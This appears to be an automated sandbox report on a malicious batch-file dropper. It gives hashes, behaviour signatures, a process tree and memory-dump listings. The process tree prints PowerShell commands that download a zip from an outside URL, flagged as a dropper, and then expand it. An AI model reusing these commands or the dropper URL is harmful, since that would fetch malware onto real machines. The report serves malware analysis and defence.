3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
19/11/2023, 06:55

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General

Target

tesy - Copy.bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	1452	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1452	powershell.exe
2744	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1452	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2156 wrote to memory of 1452	2156	cmd.exe	29
PID 2156 wrote to memory of 1452	2156	cmd.exe	29
PID 2156 wrote to memory of 1452	2156	cmd.exe	29
PID 2156 wrote to memory of 2744	2156	cmd.exe	30
PID 2156 wrote to memory of 2744	2156	cmd.exe	30
PID 2156 wrote to memory of 2744	2156	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2744

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
671f71851851cc2373c9b6e11406a2e4

SHA1
c3feb58766047c154b928b9e13270e2679717f89

SHA256
ecaeb9174fca8a71db6c39f597627490bff788146d5fda6e325884498008cb22

SHA512
e676a553fccb478160958ef56b63a09258d240c8d0fd4b99329d47922b4696781edb21b437ff277f88f13f94f868f4d51db5e4fcc984c474a78a58f78d2a2721

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8R7BVLEQVO84FJQQ8XZE.temp

Filesize
7KB

MD5
671f71851851cc2373c9b6e11406a2e4

SHA1
c3feb58766047c154b928b9e13270e2679717f89

SHA256
ecaeb9174fca8a71db6c39f597627490bff788146d5fda6e325884498008cb22

SHA512
e676a553fccb478160958ef56b63a09258d240c8d0fd4b99329d47922b4696781edb21b437ff277f88f13f94f868f4d51db5e4fcc984c474a78a58f78d2a2721

Download Submit
memory/1452-8-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/1452-7-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/1452-9-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/1452-4-0x000000001B2B0000-0x000000001B592000-memory.dmp

Filesize
2.9MB

Download
memory/1452-10-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/1452-11-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/1452-13-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/1452-6-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/1452-5-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2744-19-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

Filesize
2.9MB

Download
memory/2744-21-0x000007FEF4B10000-0x000007FEF54AD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-20-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/2744-22-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/2744-23-0x000007FEF4B10000-0x000007FEF54AD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-24-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/2744-25-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/2744-26-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/2744-27-0x000007FEF4B10000-0x000007FEF54AD000-memory.dmp

Filesize
9.6MB

Download